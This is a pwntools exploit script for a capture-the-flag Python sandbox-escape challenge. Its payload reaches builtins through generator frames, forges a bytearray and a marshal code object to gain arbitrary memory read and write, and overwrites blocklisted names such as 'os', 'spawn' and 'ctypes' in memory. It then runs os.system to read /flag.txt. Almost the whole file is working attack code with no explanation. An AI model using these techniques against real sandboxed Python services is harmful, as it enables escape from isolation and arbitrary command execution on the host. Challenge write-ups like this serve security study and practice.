#!/bin/env python3

from pwn import *
import sys

context.terminal = "konsole -e".split()
context.log_level = "INFO"
context.bits = 64
context.arch = "amd64"

def init():
    if args.RMT:
        p = remote(sys.argv[1], sys.argv[2])
    else:
        p = process("python3 ../chall.py", shell=True)
    return Exploit(p), p


class Exploit:
    def __init__(self, p: process):
        self.p = p

    def debug(self, script=None):
        if not args.RMT and args.DBG:
            if script:
                attach(self.p, "\n".join(script))
            else:
                attach(self.p)


x, p = init()

payload = b"""
a = []
g = ((g.gi_frame.f_back.f_back, gl:=g.gi_frame.f_back.f_back.f_globals) for g in a)
a.append(g)
g.send(None)

b = gl['__builtins__']

object = b.object
bytearray = b.bytearray
id = b.id
print = b.print
bytes = b.bytes
input = b.input
len = b.len
hex = b.hex
__import__ = b.__import__

marshal = __import__('marshal')

def p64(addr):
    return addr.to_bytes(8, "little")

const_tuple = ()

fake_bytearray = bytearray(
    p64(0x41414141)
    + p64(id(bytearray))  # ob_refcnt
    + p64(0x7FFFFFFFFFFFFFFF)  # ob_type
    + p64(0)  # ob_size (INT64_MAX)
    + p64(0)  # ob_alloc (doesn't seem to really be used?)
    + p64(0)  # *ob_bytes (start at address 0)
    + p64(0)  # *ob_start (ditto)  # ob_exports (not really sure what this does)
)

fake_bytearray_ptr_addr = id(fake_bytearray) + 0x20
const_tuple_array_start = id(const_tuple) + 0x18
offset = (fake_bytearray_ptr_addr - const_tuple_array_start) // 8
print("Offset:", offset)

def dummy():
    pass

tt = b'630000000000000000000000000100000003000000730a00000090aa90bb90cc64dd53002800000000280000000028000000007300000000750c000000706174682f746f2f66696c65750500000064756d6d79750500000064756d6d792900000073070000008000d8040880447300000000'
def i2h(x):
    global b
    return b.hex(x)[2:].rjust(2, "0").encode()
tt = tt.replace(b"aa", i2h((offset >> 24) & 0xFF)).replace(b"bb", i2h((offset >> 16) & 0xFF)).replace(b"cc", i2h((offset >> 8) & 0xFF)).replace(b"dd", i2h((offset >> 0) & 0xFF))

bs = bytes.fromhex(tt.decode())

co = marshal.loads(bs)

dummy.__code__ = co
magic = dummy()

print("sanity check")

test = magic[id("peko") : id("peko") + 64]
padding = test.find(b"peko")
print("padding:", padding)

target_strs = [
    "sp"+"awn",
    "pro"+"cess",
    "o"+"s",
    "sy"+"s",
    "cpy"+"thon",
    "fo"+"rk",
    "op"+"en",
    "in"+"terpreter",
    "ct"+"ypes",
    "co"+"mpile",
    "g"+"c",
    "__n"+"ew__",
]
for s in target_strs:
    addr = id(s)
    magic[addr + padding : addr + padding + len(s)] = b"a" * len(s)

x = b.__import__("o"+"s")
b.getattr(x,'sy'+'stem')('cat /flag.txt')
"""
payload = payload.replace(b"\n", b"\r")

p.sendline(payload)
p.interactive()